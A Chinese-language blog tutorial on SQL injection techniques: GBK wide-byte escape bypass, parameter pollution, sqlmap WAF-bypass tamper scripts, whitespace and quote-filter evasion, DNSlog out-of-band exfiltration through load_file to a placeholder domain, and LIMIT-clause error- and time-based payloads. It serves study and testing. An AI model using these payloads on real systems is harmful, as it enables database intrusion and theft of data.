关于sql注入

宽字节注入,bypass,dnslog注入,limit注入

宽字节注入

宽字节注入是由于转编码而形成的,那具有转编码功能的函数也成了漏洞的成因。

UTF8

由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

宽字节

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

GB2312是被GBK兼容的,它的高位范围是0xA10xF7,低位范围是0xA10xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c。
其它的宽字符集也是一样的分析过程,要吃掉%5c,只需要低位中包含正常的0x5c就行了。

  • 宽字节注入与HTML页面编码是无关的
    宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义失败。
  • 使用了addslashes函数
    GBK编码,它的编码范围是0x8140~0xFEFE(不包括0xxx7F),在遇到%df:(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。
    %df%27,会把它看成一个汉字,但是%27会闭合前面的单引号

bypass

HPP:

HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时,根据容器不同会得到不同的结果。假设提交的参数即为:
id=1&id=2&id=3

1
2
3
4
解析结果
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3

sqlmap的各种bypass waf tamper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

mysql用户自定义变量

  • 可以先在用户变量中保存值然后在以后引用它;这样可以将值从一个语句传递到另一个语句。用户变量与连接有关。也就是说,一个客户端定义的变量不能被其它客户端看到或使用。当客户端退出时,该客户端连接的所有变量将自动释放。
  • 用户变量的形式为@var_name,其中变量名var_name可以由当前字符集的文字数字字符、‘.’、‘_’和‘$’组成。 默认字符集是cp1252 (Latin1)。可以用mysqld的--default-character-set选项更改字符集。用户变量名对大小写不敏感。

设置用户变量的一个途径是执行SET语句
SET @var_name = expr [, @var_name = expr] ...

  • 对于SET,可以使用=:=作为分配符。分配给每个变量的expr可以为整数、实数、字符串或者NULL值。
  • 也可以用语句代替SET来为用户变量分配一个值。在这种情况下,分配符必须为:=而不能用=,因为在非SET语句中=被视为一个比较 操作符:

    过滤单引号

    过滤单引号
    username 输入1\
    password 输入or 1=1;#
    sql:select * form user_table where username = '1\' and password = 'or 1=1;#'
    username中输入的\转义了它后面的单引号,所以此时username ='1\ and password = ',后面的or 1=1;就生效了

    sql语句中空格的代替方法

  • 过滤空格
    url编码为:%20,双写为%2%200
    也可写作%a0
    常见的绕过空格的就是多行注释
    1
    2
    3
    4
    5
    6
    /*!50540select user()*/             mysql(独有)内联注释,!后面的数字是版本号,表示当数据库版本>=5.5.40时执行SQL语句(版本号五位)
    /**/ mysql多行注释
    %09,%0a,%0b,%0c,%0d,%20,%a0 一些空白字符
    1.1、2.3、1. 浮点数形式
    0e1、1e7 科学计数法
    +、-、!、@、~、{}、"、'、()、`` 一些特殊字符

    SQL注入之基于DNS的注入(DNSlog注入)

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。
  • dns在递归查询时,会在dns服务器上保存log,所有经过dns服务器以及其子域名的查询都会在上面留下记录
  • load_file()不仅可以读取本地文件,也可以对\\example.com这样的url发起请求
  1. show variables like ‘%secure%’查看load_file()可以读取的磁盘。
    1
    2
    3
    4
    5
    secure_file_priv为空,就可以读取磁盘的目录。

    secure_file_priv为D:\wamp\tmp,就可以读取G盘下wamp\tmp的文件。

    secure_file_priv为null,load_file就不能加载文件。
  2. 通过更改mysql配置文件my.ini,设置secure_file_priv=””就是可以load_flie任意磁盘的文件。
  • 我们可以使用dnslog平台或者自己搭建dns服务器,假设dnslog平台给你分配了一个三级级域名:abc.dns.com,如果查询三级域名xxx.abc.dns.com,就会在dns服务器中留下记录,我们可以将payload写在第四级域名的位置
  • 在mysql中执行select load_file(concat('\\\\',[payload],'.abc.dns.com\\\aaa'));(‘'会被转义,所以需要+上一个’'),payload的执行结果会被显示在第四级域名的位置,使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据)
  • 对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。

    Limit 注入

此方法适用于5.0.0<mysql<5.6.6
select语句:select id from t1 where num=123333 order by id limit 1,1
在select语法中,limit后面可以跟两个函数PROCEDUREINTOINTO除非有写入shell的权限,否则是无法利用的
使用procedure analyse进行报错注入

1
2
3
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

基于时间:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

Author: Isabellae
Link: http://is4b3lla3.github.io/2019/11/25/%E5%85%B3%E4%BA%8Esql%E6%B3%A8%E5%85%A5/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.